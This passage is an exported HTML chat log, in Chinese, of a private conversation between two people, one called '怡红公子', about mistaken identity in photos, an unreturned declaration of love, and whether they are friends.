width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:25:50\u003c/h2\u003e\r\n\u003ch2\u003e唉 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:25:56\u003c/h2\u003e\r\n\u003ch2\u003e还以为你是他呢 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:26:22\u003c/h2\u003e\r\n\u003ch2\u003e怎么感觉他是你呢？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:26:26\u003c/h2\u003e\r\n\u003ch2\u003e奇怪了 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:26:45\u003c/h2\u003e\r\n\u003ch2\u003e那句怎么说来着，有缘千里来相会，无缘近处也不识\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:26:47\u003c/h2\u003e\r\n\u003ch2\u003e唉 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:26:56\u003c/h2\u003e\r\n\u003ch2\u003e不应该看照片的 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:27:03\u003c/h2\u003e\r\n\u003ch2\u003e嗯\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:27:15\u003c/h2\u003e\r\n\u003ch2\u003e认准了一个却不是你 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:27:44\u003c/h2\u003e\r\n\u003ch2\u003e我很好奇，为什么，你会觉得，他是我？\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:27:51\u003c/h2\u003e\r\n\u003ch2\u003e不知道 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:27:55\u003c/h2\u003e\r\n\u003ch2\u003e感觉他是你 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:28:04\u003c/h2\u003e\r\n\u003ch2\u003e可事实他不是你 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:28:11\u003c/h2\u003e\r\n\u003ch2\u003e不看照片了 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:28:16\u003c/h2\u003e\r\n\u003ch2\u003e再也不看了 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:28:39\u003c/h2\u003e\r\n\u003ch2\u003e人与事，总是这样让人伤感 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:29:05\u003c/h2\u003e\r\n\u003ch2\u003e我的眼睛骗了我的心 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:29:36\u003c/h2\u003e\r\n\u003ch2\u003e连我自己都欺骗，还能怨恨这世界充满欺骗么？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:29:38\u003c/h2\u003e\r\n\u003ch2\u003e呵呵 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:29:43\u003c/h2\u003e\r\n\u003ch2\u003e不说了 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:39:49\u003c/h2\u003e\r\n\u003ch2\u003e公子？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:39:54\u003c/h2\u003e\r\n\u003ch2\u003e嗯？\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:40:03\u003c/h2\u003e\r\n\u003ch2\u003e我以为你走了 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:40:20\u003c/h2\u003e\r\n\u003ch2\u003e没有，我在等你抚平你的伤口\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:40:45\u003c/h2\u003e\r\n\u003ch2\u003e没什么了 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:41:08\u003c/h2\u003e\r\n\u003ch2\u003e本来，你就一直没给一个整体而清晰的印象 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:41:26\u003c/h2\u003e\r\n\u003ch2\u003e去年那张照片，也是很模糊的 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:41:39\u003c/h2\u003e\r\n\u003ch2\u003e给你留下的，只是美化的我\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:41:49\u003c/h2\u003e\r\n\u003ch2\u003e不是 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:42:01\u003c/h2\u003e\r\n\u003ch2\u003e那张照片，一点都不美 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:42:28\u003c/h2\u003e\r\n\u003ch2\u003e因为我认为，你本人一定比照片美 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:42:45\u003c/h2\u003e\r\n\u003ch2\u003e \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:42:55\u003c/h2\u003e\r\n\u003ch2\u003e问你，我们，是朋友，么？\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:43:17\u003c/h2\u003e\r\n\u003ch2\u003e应该是特殊的朋友 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:43:36\u003c/h2\u003e\r\n\u003ch2\u003e因为，我爱怡红公子 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:43:49\u003c/h2\u003e\r\n\u003ch2\u003e我只要简单的回答，是，还是，不是\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:44:55\u003c/h2\u003e\r\n\u003ch2\u003e不是 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:45:03\u003c/h2\u003e\r\n\u003ch2\u003e我把你当爱人 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:45:35\u003c/h2\u003e\r\n\u003ch2\u003e哎!不是呀…………也是，怎么会嘛\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:45:53\u003c/h2\u003e\r\n\u003ch2\u003e怎么了 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:46:02\u003c/h2\u003e\r\n\u003ch2\u003e我表达有问题？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:46:29\u003c/h2\u003e\r\n\u003ch2\u003e没有，我明白\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:46:34\u003c/h2\u003e\r\n\u003ch2\u003e你穿黑衬衫不？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:46:47\u003c/h2\u003e\r\n\u003ch2\u003e我喜欢白色\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:46:59\u003c/h2\u003e\r\n\u003ch2\u003e我没有黑色的一副\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:47:00\u003c/h2\u003e\r\n\u003ch2\u003e那就太好了 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:47:02\u003c/h2\u003e\r\n\u003ch2\u003e衣服\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:47:18\u003c/h2\u003e\r\n\u003ch2\u003e我很害怕那个穿黑衬衫的是你 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:47:39\u003c/h2\u003e\r\n\u003ch2\u003e总算不是你 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:48:10\u003c/h2\u003e\r\n\u003ch2\u003e唉 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:48:13\u003c/h2\u003e\r\n\u003ch2\u003e我记得，以前我在别人面前，总是说你是我的朋友，当时依稀记得，带着种自豪与兴奋，原来，一切都不是，一切都只是我的空想\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:48:36\u003c/h2\u003e\r\n\u003ch2\u003e你为什么不是第一眼认的那个人呢 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:48:43\u003c/h2\u003e\r\n\u003ch2\u003e真是造化弄人 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:48:54\u003c/h2\u003e\r\n\u003ch2\u003e我为什么要是他！\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:49:13\u003c/h2\u003e\r\n\u003ch2\u003e天啦 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:49:17\u003c/h2\u003e\r\n\u003ch2\u003e我说错话了 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:49:22\u003c/h2\u003e\r\n\u003ch2\u003e对不起 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:49:40\u003c/h2\u003e\r\n\u003ch2\u003e算了\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:49:46\u003c/h2\u003e\r\n\u003ch2\u003e我已经习惯\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:50:07\u003c/h2\u003e\r\n\u003ch2\u003e我没见过你！！！！！！！！！！！！！1 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:50:14\u003c/h2\u003e\r\n\u003ch2\u003e我不知道你长什么样！！！！！！！！！！！！！！！ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:50:15\u003c/h2\u003e\r\n\u003ch2\u003e所以，我不怪你\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:50:25\u003c/h2\u003e\r\n\u003ch2\u003e你 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:50:27\u003c/h2\u003e\r\n\u003ch2\u003e是你 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:50:31\u003c/h2\u003e\r\n\u003ch2\u003e太残忍 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:51:09\u003c/h2\u003e\r\n\u003ch2\u003e不是的。\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:51:48\u003c/h2\u003e\r\n\u003ch2\u003e我想，你可以写篇日志，把这些聊天记录粘上去，题目就叫，与《怡红公子的心灵交流》\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:52:21\u003c/h2\u003e\r\n\u003ch2\u003e你可以先贴到你的日志里 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:52:47\u003c/h2\u003e\r\n\u003ch2\u003e那题目呢……\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:57:50\u003c/h2\u003e\r\n\u003ch2\u003e妈妈在说吃饭的事 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:58:45\u003c/h2\u003e\r\n\u003ch2\u003e你觉得需要标题么？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:59:10\u003c/h2\u003e\r\n\u003ch2\u003e嗯，那就不要把\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:59:24\u003c/h2\u003e\r\n\u003ch2\u003e你还没吃饭？！\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:59:31\u003c/h2\u003e\r\n\u003ch2\u003e不饿 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:59:35\u003c/h2\u003e\r\n\u003ch2\u003e赶快去吃吧\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e13:59:51\u003c/h2\u003e\r\n\u003ch2\u003e等你饿的时候来吃就已经晚了\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e13:59:51\u003c/h2\u003e\r\n\u003ch2\u003e现在吃不合适 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:00:02\u003c/h2\u003e\r\n\u003ch2\u003e怎么不合适了?\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:00:08\u003c/h2\u003e\r\n\u003ch2\u003e呵呵 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:00:10\u003c/h2\u003e\r\n\u003ch2\u003e没什么 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:00:59\u003c/h2\u003e\r\n\u003ch2\u003e总之是与身与心俱不合适吧 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:01:25\u003c/h2\u003e\r\n\u003ch2\u003e不妥的意思 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:01:36\u003c/h2\u003e\r\n\u003ch2\u003e哎！随你了\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:02:59\u003c/h2\u003e\r\n\u003ch2\u003e公子 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:03:09\u003c/h2\u003e\r\n\u003ch2\u003e看你一眼不行么？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:03:25\u003c/h2\u003e\r\n\u003ch2\u003e算了\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:03:30\u003c/h2\u003e\r\n\u003ch2\u003e还是那句话\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:20:10\u003c/h2\u003e\r\n\u003ch2\u003e有些事情，我，强求不来的\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:20:15\u003c/h2\u003e\r\n\u003ch2\u003e这个，我明白\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:20:40\u003c/h2\u003e\r\n\u003ch2\u003e正如你 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:20:58\u003c/h2\u003e\r\n\u003ch2\u003e强求不来的 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e…………\u003c/h2\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:34:06\u003c/h2\u003e\r\n\u003ch2\u003e我觉得，这样的小埃，很温馨\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:34:16\u003c/h2\u003e\r\n\u003ch2\u003e你还是第一次这么认真的教我呢\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:34:40\u003c/h2\u003e\r\n\u003ch2\u003e换了别人我早骂出他祖宗18代 